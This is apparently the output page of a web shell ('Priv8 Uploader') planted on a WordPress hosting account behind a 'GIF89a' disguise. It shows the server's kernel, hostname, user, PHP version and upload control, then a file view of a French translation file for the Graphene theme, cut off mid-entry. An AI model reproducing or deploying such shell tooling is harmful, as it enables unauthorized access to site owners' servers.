GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/fr_FR.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.0 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2011-09-05 23:45+1200\n"
"PO-Revision-Date: 2011-09-05 15:22+0100\n"
"Last-Translator: Wolforg <contact@wolforg.eu>\n"
"Language-Team: Wolforg <contact@wolforg.eu>\n"
"Language: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __;_e;_n;esc_attr_e;esc_attr__\n"
"X-Poedit-Basepath: D:\\[[MyVault]]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-Language: French\n"
"X-Poedit-Country: FRANCE\n"
"X-Poedit-SearchPath-0: .\n"

#: 404.php:20
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Recherche pour : <span>%s</span>"

#: 404.php:26
#: search-404.php:3
msgid "Error 404 - Page Not Found"
msgstr "Erreur 404. Page Non Trouvée."

#: 404.php:28
#: search-404.php:5
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Désolé, j'ai bien regardé partout sans trouver la page recherchée."

#: 404.php:29
#: search-404.php:6
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Si vous suivez un lien d'un autre site, la page a peut-être été renommée ou déplacée. Vous devriez essayer une recherche sur la page désirée."

#: 404.php:37
msgid "Automated search"
msgstr "Recherche Automatique"

#: 404.php:40
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Recherche pour les mots <strong>%s</strong> ..."

#: archive.php:25
#, php-format
msgid "Daily Archive: <span>%s</span>"
msgstr "Archives du Jour : <span>%s</span>"

#: archive.php:27
#, php-format
msgid "Monthly Archive: <span>%s</span>"
msgstr "Archives du Mois : <span>%s</span>"

#: archive.php:29
msgid "F Y"
msgstr "F Y"

#: archive.php:31
#, php-format
msgid "Yearly Archive: <span>%s</span>"
msgstr "Archives de l'Année : <span>%s</span>"

#: archive.php:33
#: category.php:14
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Archives de la Catégorie : <span>%s</span>"

#: archive.php:35
msgid "Blog Archive"
msgstr "Archives du site"

#: author.php:33
msgid "Author's posts listings"
msgstr "Articles de cet auteur"

#: comments.php:26
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Cet article est protégé par un mot de passe. Entrez le pour voir les commentaires."

#: comments.php:49
#: loop-author.php:85
#: loop.php:185
msgid "1 comment"
msgstr "1 commentaire"

#: comments.php:49
#: loop-author.php:85
#: loop.php:185
#, php-format
msgid "% comments"
msgstr "% commentaires"

#: comments.php:50
msgid "1 ping"
msgstr "1 ping"

#: comments.php:50
msgid "% pings"
msgstr "% pings"

#: comments.php:103
msgid "Comments have been disabled."
msgstr "Les commentaires sont désactivés."

#: comments.php:118
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Vous pouvez utiliser les balises <abbr title=\"HyperText Markup Language\">HTML</abbr> suivantes : %s"

#: comments.php:123
msgid "Your email address will not be published."
msgstr "Votre adresse ne sera pas publiée."

#: comments.php:126
#: functions.php:1341
msgid "Submit Comment"
msgstr "Envoyer Commentaire"

#: footer.php:40
msgid "Copyright"
msgstr "Copyright"

#: footer.php:43
msgid "Except where otherwise noted, content on this site is licensed under a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licence</a>."
msgstr "Sauf indication contraire, le contenu de ce site est sous licence <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons</a>."

#: footer.php:53
msgid "Creative Commons Licence BY-NC-ND"
msgstr "License Creative Commons BY-NC-ND"

#: footer.php:74
msgid "Return to top"
msgstr "Retour en Haut"

#: footer.php:83
#, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Propulsé par %1$s & %2$s. Traduit par <a href=\"http://www.wolforg.eu\">Wolforg</a>."

#: footer.php:83
msgid "Graphene Theme"
msgstr "Thème Graphene"

#: functions.php:176
msgid "Header Menu"
msgstr "Menu du Haut"

#: functions.php:177
msgid "Secondary Menu"
msgstr "Menu Secondaire"

#: functions.php:178
msgid "Footer Menu"
msgstr "Menu du pied"

#: functions.php:220
msgid "Header image by Syahir Hakim"
msgstr "Bannière par Syahir Hakim"

#: functions.php:224
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Ceci est la bannière par défaut du thème Gaphène, image redimensionnée par Quantin Houyoux at sxc.hu"

#: functions.php:228
#: functions.php:232
#: functions.php:236
#: functions.php:240
#: functions.php:244
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Bannière redimensionnée par Ilco at sxc.hu"

#: functions.php:727
msgid "Home"
msgstr "Accueil"

#: functions.php:830
msgid "says:"
msgstr " a dit :"

#: functions.php:836
#, php-format
msgid "%1$s at %2$s"
msgstr "%1s à %2s"

#: functions.php:838
msgid "Edit comment"
msgstr "Modifier le commentaire"

#: functions.php:842
msgid "Reply"
msgstr "Répondre"

#: functions.php:853
msgid "Your comment is awaiting moderation."
msgstr "Votre commentaire est en attente de validation."

#: functions.php:950
msgid "Sidebar Widget Area"
msgstr "Zone latérale de widgets"

#: functions.php:952
msgid "The first sidebar widget area (available in two and three column layouts)."
msgstr "La première zone de widgets latérale (disponible dans les styles 2 et 3 colonnes)."

#: functions.php:959
msgid "Sidebar Two Widget Area"
msgstr "Seconde zone latérale de widgets"

#: functions.php:961
msgid "The second sidebar widget area (only available in three column layouts)."
msgstr "La seconde zone de widgets latérale (disponible uniquement pour le style 3 colonnes)."

#: functions.php:968
msgid "Footer Widget Area"
msgstr "Zone de widgets du bas"

#: functions.php:970
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "La zone de widgets du bas. Laissez la vide pour la désactiver. Définissez le nombre de colonnes à afficher dans la page d'options du thème."

#: functions.php:985
msgid "Front Page Sidebar Widget Area"
msgstr "Zone latérale de widgets pour l'accueil"

#: functions.php:987
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "La première zone de widget latérale sera affichée uniquement sur la page d'accueil."

#: functions.php:994
msgid "Front Page Sidebar Two Widget Area"
msgstr "Zone de widget latérale pour la page d'accueil"

#: functions.php:996
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "La seconde zone de widget latérale qui ne sera affichée que sur la page d'accueil."

#: functions.php:1005
msgid "Front Page Footer Widget Area"
msgstr "Zone de widgets du bas sur l'accueil."

#: functions.php:1007
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "Cette zone de widgets sera affichée uniquement en bas de la page d'accueil. Laissez la vide pour la désactiver. Définissez le nombre de colonnes à afficher dans la page d'options du thème."

#: functions.php:1017
msgid "Header Widget Area"
msgstr "Zone de widgets d'en tête"

#: functions.php:1019
msgid "The header widget area."
msgstr "La zone de widgets d'en-tête"

#: functions.php:1035
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr "Zone de widget ajoutée automatiquement. Cette zone de widget fait appel à la boucle (hook) %s."

#: functions.php:1105
msgid "Display the latest Twitter status updates."
msgstr "Affiche les derniers tweets :"

#: functions.php:1137
msgid "Loading tweets..."
msgstr "Chargement des tweets"

#: functions.php:1141
msgid "Follow me on Twitter"
msgstr "Suivez moi sur Twitter"

#: functions.php:1153
msgid "follower"
msgstr "abonné"

#: functions.php:1154
msgid "followers"
msgstr "abonnés"

#: functions.php:1185
msgid "Latest tweets"
msgstr "Derniers Tweets"

#: functions.php:1192
msgid "Title:"
msgstr "Titre :"

#: functions.php:1196
msgid "Twitter Username:"
msgstr "Pseudo Twitter :"

#: functions.php:1200
msgid "Number of tweets to display:"
msgstr "Nombre de gazouillis à afficher :"

#: functions.php:1204
msgid "Show followers count"
msgstr "Affiche le compteur de followers"

#: functions.php:1208
msgid "Open links in new window"
msgstr "Ouvrir les liens dans une nouvelle fenêtre"

#: functions.php:1256
msgid "Graphene Options"
msgstr "Options de Graphène"

#: functions.php:1257
msgid "Graphene FAQs"
msgstr "FAQ de Graphène"

#: functions.php:1290
msgid "Toggle all tabs"
msgstr "Déplier tous les onglets"

#: functions.php:1322
msgid "Name:"
msgstr "Nom :"

#: functions.php:1323
msgid "Email:"
msgstr "Email :"

#: functions.php:1324
msgid "Website:"
msgstr "Site Web :"

#: functions.php:1334
msgid "Message:"
msgstr "Message :"

#: functions.php:1363
msgid "Continue reading &raquo;"
msgstr "Lire la Suite &raquo;"

#: functions.php:1415
msgid "Older posts &laquo;"
msgstr "Articles plus anciens &laquo;"

#: functions.php:1416
msgid "&raquo; Newer posts"
msgstr "&raquo; Articles plus récents"

#: functions.php:1418
msgid "Next page &raquo;"
msgstr "Page suivante  &raquo;"

#: functions.php:1419
msgid "&laquo; Previous page"
msgstr "&laquo; Page précédente"

#: functions.php:1633
msgid "View full post"
msgstr "Voir l'article entier"

#: functions.php:1772
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>ERREUR : Vous devez fournir l'ID de l'article pour obtenir l'image comme un argument quand est apellé la fonction graphene_get_post_image() .</strong>"

#: functions.php:2135
msgid "Template preview not found."
msgstr "Aperçu de modèle non trouvé."

#: functions.php:2138
msgid "default"
msgstr "défaut"

#: functions.php:2194
#: functions.php:2198
msgid "Theme default"
msgstr "Thème par défaut"

#: functions.php:2264
msgid "ERROR: You are not authorised to perform that operation"
msgstr "ERREUR : Vous n'êtes pas autorisé d'effectuer cette opération."

#: functions.php:2437
#: functions.php:2448
#: functions.php:2457
#: loop-children.php:41
#: loop-children.php:49
#: loop-post-formats.php:32
#: loop.php:71
#: loop.php:150
#, php-format
msgid "Permalink to %s"
msgstr "Lien permanent pour %s"

#: functions.php:2457
msgid "Read more"
msgstr "Lire plus"

#: functions.php:2526
#, php-format
msgid "Follow %s on Twitter"
msgstr "Suivre %s sur Twitter"

#: functions.php:2529
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Visitez la page Facebook de %s"

#: functions.php:2551
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Visiter la page de %1$s sur %2$s"

#: header.php:56
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Suivre le fil RSS de %s"

#: header.php:56
msgid "Subscribe to RSS feed"
msgstr "Suivre le fil RSS"

#: header.php:102
#: header.php:122
msgid "Go back to the front page"
msgstr "Retour à l'accueil"

#: loop-author.php:23
msgid "Author's details"
msgstr "Détails de l'auteur"

#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Nom :</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Date d'enregistrement :</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Biographie"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Derniers articles"

#: loop-author.php:55
#: loop-author.php:85
#: search-404.php:24
#, php-format
msgid "Permalink Link to %s"
msgstr "Lien permanent pour %s"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:41
#: loop-post-formats.php:32
#: loop.php:39
#: loop.php:71
msgid "(No title)"
msgstr "(pas de titre)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Articles les plus commentés"

#: loop-children.php:49
msgid "View page &raquo;"
msgstr "Voir la page &raquo;"

#: loop-post-formats.php:15
msgid "Status update"
msgstr "Mises à jour de Statut"

#: loop-post-formats.php:16
msgid "Audio"
msgstr "Audio"

#: loop-post-formats.php:17
msgid "Image"
msgstr "Image"

#: loop-post-formats.php:18
msgid "Video"
msgstr "Vidéo"

#: loop-post-formats.php:19
msgid "Post format"
msgstr "Format Article"

#: loop-post-formats.php:28
msgid "l F j, Y"
msgstr "l F j, Y"

#: loop-post-formats.php:28
msgid "g:i A"
msgstr "g:i A"

#: loop-post-formats.php:38
#: loop.php:102
msgid "Edit post"
msgstr "Modifier"

#: loop-post-formats.php:78
#, php-format
msgid "Posted on: %s"
msgstr "Publié le : %s"

#: loop-post-formats.php:78
msgid "F j, Y"
msgstr "F j, Y"

#: loop.php:81
msgid "Categories:"
msgstr "Catégories :"

#: loop.php:92
msgid "Print this page"
msgstr "Imprimer"

#: loop.php:119
msgid "by"
msgstr "par"

#: loop.php:145
msgid "Read the rest of this entry &raquo;"
msgstr "En savoir plus &raquo;"

#: loop.php:163
msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
msgstr "<p><strong>Pages :</strong> "

#: loop.php:173
msgid "Tags:"
msgstr "Mots-Clés :"

#: loop.php:173
msgid "This post has no tag"
msgstr "Cet article n'a pas de mots-clés"

#: loop.php:185
msgid "Leave comment"
msgstr "Faire un commentaire"

#: loop.php:200
msgid "About the author"
msgstr "A propos de l'auteur"

#: loop.php:217
msgid "Permanent link to this article:"
msgstr "Lien Permanent pour cet article :"

#: loop.php:248
msgid "Not found"
msgstr "Non trouvé"

#: loop.php:253
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Désolé, mais ce que vous recherchez ne se trouve pas ici. Voulez vous essayer une recherche?"

#: loop.php:255
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Désolé, mais il n'y a aucun résultat sur cette recherche. Voulez vous en essayer une autre?"

#: search-404.php:14
msgid "Suggested results"
msgstr "Résultats proposés"

#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Une recherche sur le mot %s a été initiée. Voyez si vous trouvez ce que vous recherchez ci-dessous :"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Désolé, rien de trouvé</strong> Essayez une autre recherche avec le formulaire ci-dessous."

#: search.php:11
#, php-format
msgid "Search results for: <span>%s</span>"
msgstr "Résultats de recherche pour : <span>%s</span>"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Rechercher"

#: sidebar-two.php:36
#: sidebar.php:42
msgid "Meta"
msgstr "Infos"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Posts RSS"
msgstr "RSS des articles"

#: sidebar-two.php:42
#: sidebar.php:48
msgid "Comments RSS"
msgstr "RSS des Commentaires"

#: sidebar-two.php:44
#: sidebar.php:50
#, php-format
msgid "Powered by %s"
msgstr "Propulsé par %s"

#: sidebar-two.php:44
#: sidebar.php:50
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Propulsé par WordPress, plateforme sémantique de publication."

#: sidebar-two.php:49
#: sidebar.php:35
msgid "Archives"
msgstr "Archives"

#: tag.php:14
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Archives du mot-clé : <span>%s</span>"

#: admin/custom-fields.php:15
msgid "Graphene post-specific options"
msgstr "Options spécifiques aux articles de Graphene"

#: admin/custom-fields.php:16
msgid "Graphene page-specific options"
msgstr "Options spécifiques aux pages de Graphene"

#: admin/custom-fields.php:98
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "Ces paramètres seront appliqués uniquement pour la page ou l'article que vous modifiez. Ils outrepasseront les paramètres globaux définis dans les options de Gaphene ou dans la page d'options d'affichage de Gaphene. "

#: admin/custom-fields.php:99
msgid "Slider options"
msgstr "Options du diaporama"

#: admin/custom-fields.php:103
msgid "Slider image"
msgstr "Image de diaporama"

#: admin/custom-fields.php:107
#: admin/custom-fields.php:133
#: admin/custom-fields.php:147
msgid "Use global setting"
msgstr "Utiliser les paramètres globaux"

#: admin/custom-fields.php:108
msgid "Don't show image"
msgstr "Ne pas afficher l'image"

#: admin/custom-fields.php:109
msgid "Featured Image"
msgstr "Image mise en avant"

#: admin/custom-fields.php:110
msgid "First image in post"
msgstr "Première image de l'article"

#: admin/custom-fields.php:111
msgid "Custom URL"
msgstr "URL personnalisée"

#: admin/custom-fields.php:117
msgid "Custom slider image URL"
msgstr "URL de l'image personnalisée du diaporama"

#: admin/custom-fields.php:121
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Assurez vous de sélectionner URL personnalisée dans les options d'image du diaporama pour utiliser cette URL personnalisée"

#: admin/custom-fields.php:125
msgid "Display options"
msgstr "Options d'affichage"

#: admin/custom-fields.php:129
msgid "AddThis Social Sharing button"
msgstr "Afficher le bouton Addthis"

#: admin/custom-fields.php:134
msgid "Show button"
msgstr "Afficher le bouton"

#: admin/custom-fields.php:135
msgid "Hide button"
msgstr "Cacher le bouton"

#: admin/custom-fields.php:143
msgid "Post date display"
msgstr "Afficher les dates des articles."

#: admin/custom-fields.php:148
msgid "Hide date"
msgstr "Cacher la date"

#: admin/custom-fields.php:156
msgid "Navigation options"
msgstr "Options de navigation"

#: admin/custom-fields.php:160
msgid "Description"
msgstr "Description"

#: admin/custom-fields.php:164
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr "Requis seulement si vous avez besoin d'une description dans le menu de navigation et que vous n'utilisez pas les menus personnalisés de WordPress."

#: admin/faq.php:12
msgid "Graphene's Frequently Asked Questions"
msgstr "Questions Fréquentes (FAQ) de Gaphene"

#: admin/faq.php:15
msgid "Where should I go for the theme's support?"
msgstr "Où dois-je aller pour du support sur le thème?"

#: admin/faq.php:16
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "S'il vous plaît, dirigez toutes les demandes de support vers le Forum du thème : <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\"> Assistance </ a>."

#: admin/faq.php:19
msgid "The post's featured image is replacing my header image. Help!"
msgstr "L'image mise en avant de l'article a remplacé mon image de header. Help!"

#: admin/faq.php:20
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "C'est en fait l'une des caractéristiques du thème, basé sur la fonction dans le thème TwentyTen défaut. Toute image vedette qui a une taille supérieure ou égale à la taille du thème tête de l'image (960 x 198 pixels) va remplacer l'image d'en-tête lorsque le poste / page que l'image de vedette est assignée est d'être affiché. Il vous permet d'avoir l'image d'en-tête différent pour différents postes et / ou de pages."

#: admin/faq.php:21
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options."
msgstr "Si vous désirez désactiver cette fonction, cochez simplement l'opiton <em> Désactiver l'image mise en avant en remplacement de l'image du header dans les <a href=\"themes.php?page=graphene_options&tab=display\">Options de Graphene</a> Dans Affichage > Options d'affichage du header."

#: admin/faq.php:24
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Puis-je modifier Graphene selon mon désir sans avoir à payer quoi que ce soit?"

#: admin/faq.php:25
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "Le thème WordPress Graphene, aussi longtemps qu'il sera dans le répertoire officiel de Wordpress.org, est réalisé sous la licence GNU General Public License (GPL) Version 2. Le texte complet de cette license est inclu dans le répertoire du thème dans le fichier <code>licence.txt</code>. Réaliser ce thème sous cette license signifie que vous être <em>libre de modifier ce thème comme vous voulez pour n'importe quelle proposition (commerciale incluse)</em> sans aucune obligation envers l'auteur du thème. Néanmoins, si vous décidez de redisctribuer le thème, la license indique que vous devez la réaliser sous la même license, GPLv2."

#: admin/faq.php:26
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Mais bien évidemment, l'auteur apprécie toujours les <a href=\"themes.php?page=graphene_options\">dons</a> pour le futur ainsi que pour les futurs développements du thème."

#: admin/faq.php:29
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Si ce thème est réalisé sous licence GPLv2, quelle est cette licence Creative Commons dans le pied du site?"

#: admin/faq.php:30
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."

#: admin/faq.php:31
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."

#: admin/faq.php:34
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "Ce thème est il compatible avec telle ou telle extension?"

#: admin/faq.php:35
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Je ne sais pas. Il y a tellement d'extensions disponibles pour WordPress, qu'il n'y a aucun moyen de toutes les tester au niveau de la compatibilité. Une fois ceci dit, le thème est construit avec tous les composants nécessaires à WordPress donc il y a de grandes chances que la plupart des extensions soient compatibles avec Graphene."

#: admin/faq.php:36
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Ma suggestion est simplement d'installer l'extension et de tester. Si vous rencontrez un problème, demander du support à l'auteur de l'extension en premier lieu. Si l'auteur de l'extension dit qu'il y a un problème avec le thème, vous savez ou trouver du support."

#: admin/options-import.php:20
#: admin/options.php:1705
msgid "Import Graphene Theme Options"
msgstr "Importer les options du thème Graphene"

#: admin/options-import.php:63
msgid "Options import completed"
msgstr "Options d'importation complétées"

#: admin/options-import.php:64
msgid "Go to the Graphene options page"
msgstr "Allez aux options de Graphène"

#: admin/options-import.php:67
#: admin/options-import.php:72
#: admin/options-import.php:77
msgid "Sorry, there has been an error."
msgstr "Désolé, il y a eu une erreur."

#: admin/options-import.php:68
msgid "The uploaded file does not contain valid Graphene options."
msgstr "Le fichier envoyé ne contient pas d'options de Graphene valides."

#: admin/options-import.php:73
msgid "The uploaded file could not be read."
msgstr "Le fichier envoyé ne peut être lu."

#: admin/options-import.php:78
msgid "The uploaded file is not supported."
msgstr "Le fichier envoyé n'est pas supporté."

#: admin/options-import.php:86
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "Fichier vide. Envoyez quelque chose de plus substanciel, svp. Cette erreur peut être causée par la désactivation de lm'envoi de fichier dans votre php.ini ou si post_max_size est défini comme inférieur à upload_max_filesize dans php.ini."

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr "Les paramètres prédéfinis \"Site Web Normal\" ont été appliqués."

#: admin/options-presets.php:41
msgid "Settings have been reset."
msgstr "Paramètres Remis à Zéro."

#: admin/options.php:84
#: admin/uninstall.php:21
msgid "Uninstall Graphene"
msgstr "Désinstaller le thème Graphene"

#: admin/options.php:85
msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Confirmez que vous désirez désinstaller le thème Graphene. Toutes les options du thème seront supprimées de la base de données."

#: admin/options.php:86
msgid "This action is not reversible."
msgstr "Cette action est irréversible."

#: admin/options.php:90
#: admin/options.php:302
msgid "Uninstall Theme"
msgstr "Désinstaller le thème"

#: admin/options.php:104
msgid "Graphene Theme Options"
msgstr "Options du thème Graphene"

#: admin/options.php:106
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "Voici les paramètres globaux pour le thème. Vous pouvez en outrepasser quelques uns dans les articles et les pages."

#: admin/options.php:114
msgid "General"
msgstr "Général"

#: admin/options.php:115
msgid "Display"
msgstr "Affichage"

#: admin/options.php:116
msgid "Advanced"
msgstr "Avancé"

#: admin/options.php:152
msgid "Save Options"
msgstr "Sauvegarder les options"

#: admin/options.php:164
msgid "Support the developer"
msgstr "Soutenir le développeur"

#: admin/options.php:167
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Créer ce thème a nécessité un nombre conséquent d'efforts et de temps. Si vous appréciez ce thème ou si vous l'utilisez sur des sites commerciaux, merci de faire un don afin de contribuer aux développements futurs."

#: admin/options.php:182
msgid "Graphene Usage Survey"
msgstr "Enquête sur l'utilisation de Graphene"

#: admin/options.php:185
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr "Aidez nous à vous connaître mieux. Appropriez vous l'enquête sur l'utilisation de Graphene! Chaque opinion compte. Cette enquête est très courte ainsi que complètement anonyme."

#: admin/options.php:186
msgid "Take the survey"
msgstr "Nous menons l'enquête"

#: admin/options.php:196
msgid "Add-ons and plugins"
msgstr "Extensions & Add-ons"

#: admin/options.php:199
msgid "Add-ons"
msgstr "Add-ons"

#: admin/options.php:200
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr "Les Add-ons ne sont pas fournis avec le thème, mais ils peuvent être installés séparément pour augmenter les possibilités du thème."

#: admin/options.php:204
msgid "Installed"
msgstr "Installé"

#: admin/options.php:205
#: admin/options.php:224
msgid "Not installed"
msgstr "Non installé"

#: admin/options.php:205
msgid "Learn more"
msgstr "Apprendre plus"

#: admin/options.php:206
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr "Extensions mobiles développées spécifiquement pour un affichage optimisé de votre site sur les appareils mobiles tels qu'iPhone et téléphones Android."

#: admin/options.php:209
msgid "Plugins"
msgstr "Extensions"

#: admin/options.php:210
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr "Les extensions listées ici sont nativement supportées par le thème. Tout ce que vous avez à faire est de les installer et de les activer."

#: admin/options.php:223
msgid "Activated"
msgstr "Activé"

#: admin/options.php:236
msgid "Options Presets"
msgstr "Pré-réglages des options"

#: admin/options.php:239
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "Les paramètres par défaut du thème sont préconfigurées pour une utilisation de blogs. Si vous utilisez ce thème principalement pour un site normal, ou si vous désirez remettre les paramètres par défaut, vous pouvez appliquer une des options présélectionnées ci-dessous."

#: admin/options.php:240
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Notez que vous pouvez toujours configurer les paramètres individuels après avoir appliqué n'importe quelle présélection."

#: admin/options.php:245
msgid "Select Options Preset"
msgstr "Choix des options présélectionnées."

#: admin/options.php:248
msgid "Normal website"
msgstr "Site Web normal"

#: admin/options.php:251
msgid "Reset to default settings"
msgstr "Revenir aux paramètres par défaut"

#: admin/options.php:256
msgid "Apply Options Preset"
msgstr "Appliquer les options présélectionnées"

#: admin/options.php:266
msgid "Import/export theme options"
msgstr "Importer/Exporter les options du thème"

#: admin/options.php:270
msgid "Import"
msgstr "Importer"

#: admin/options.php:273
msgid "Import Theme options"
msgstr "Importer les options"

#: admin/options.php:275
msgid "Export"
msgstr "Exporter"

#: admin/options.php:279
msgid "Export Theme options"
msgstr "Exporter les options"

#: admin/options.php:282
#, php-format
msgid "Import and export is only available for to users with PHP version 5.2.1 and higher. You are using PHP version %s."
msgstr "L'importation et l'exportation sont uniquement disponibles avec une version PHP 5.2.1 ou plus. Vous utilisez la version PHP : %s."

#: admin/options.php:292
msgid "Uninstall theme"
msgstr "Désinstaller le thème"

#: admin/options.php:295
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Attention!</strong> La désinstallation du thème supprimera toutes les options de celui-ci dans la base de données. N'effectuez cette opération que si vous êtes sur de ne plus utiliser Graphene."

#: admin/options.php:296
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page."
msgstr "Si vous désirez simplement essayer un autre thème, il est inutile de désinstaller Graphene, activez simplement le nouveau thème."

#: admin/options.php:297
